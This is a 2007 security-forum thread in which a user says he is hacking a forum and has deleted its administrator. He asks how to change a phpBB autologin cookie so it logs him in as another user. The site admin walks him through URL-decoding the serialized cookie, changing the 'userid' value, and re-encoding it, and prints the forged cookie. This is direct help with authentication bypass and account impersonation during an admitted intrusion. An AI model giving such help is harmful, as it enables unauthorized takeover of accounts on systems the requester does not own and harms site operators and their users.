|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 121
Members: 0
Total: 121
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Changing this to be the 3rd person instead of the 2nd. |
|
Posted: Tue Jun 05, 2007 9:14 pm |
|
|
checkmate |
Regular user |
|
|
Joined: Jun 06, 2007 |
Posts: 7 |
|
|
|
|
|
|
|
I was hacking a forum and I deleted the main administrator. I want to change this to log me in as the third person instead of the second. a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
Any help would be greatly appreciated. |
|
|
|
|
|
Re: Changing this to be the 3rd person instead of the 2nd. |
|
Posted: Tue Jun 05, 2007 9:24 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
checkmate wrote: | I was hacking a forum and I deleted the main administrator. I want to change this to log me in as the third person instead of the second. a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
Any help would be greatly appreciated. |
So you have:
Code: |
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
|
Use urldecoder:
http://urldecoder.waraxe.us/
and you will get this:
Code: |
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}
|
This is serialized array, and let's change "userid":
Code: |
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"3";}
|
Now we need to urlencode this again:
http://urldecoder.waraxe.us/
and final result:
Code: |
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%223%22%3B%7D
|
|
|
|
|
|
|
|
|
|
Posted: Thu Jun 07, 2007 5:57 pm |
|
|
checkmate |
Regular user |
|
|
Joined: Jun 06, 2007 |
Posts: 7 |
|
|
|
|
|
|
|
Thanks! |
|
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|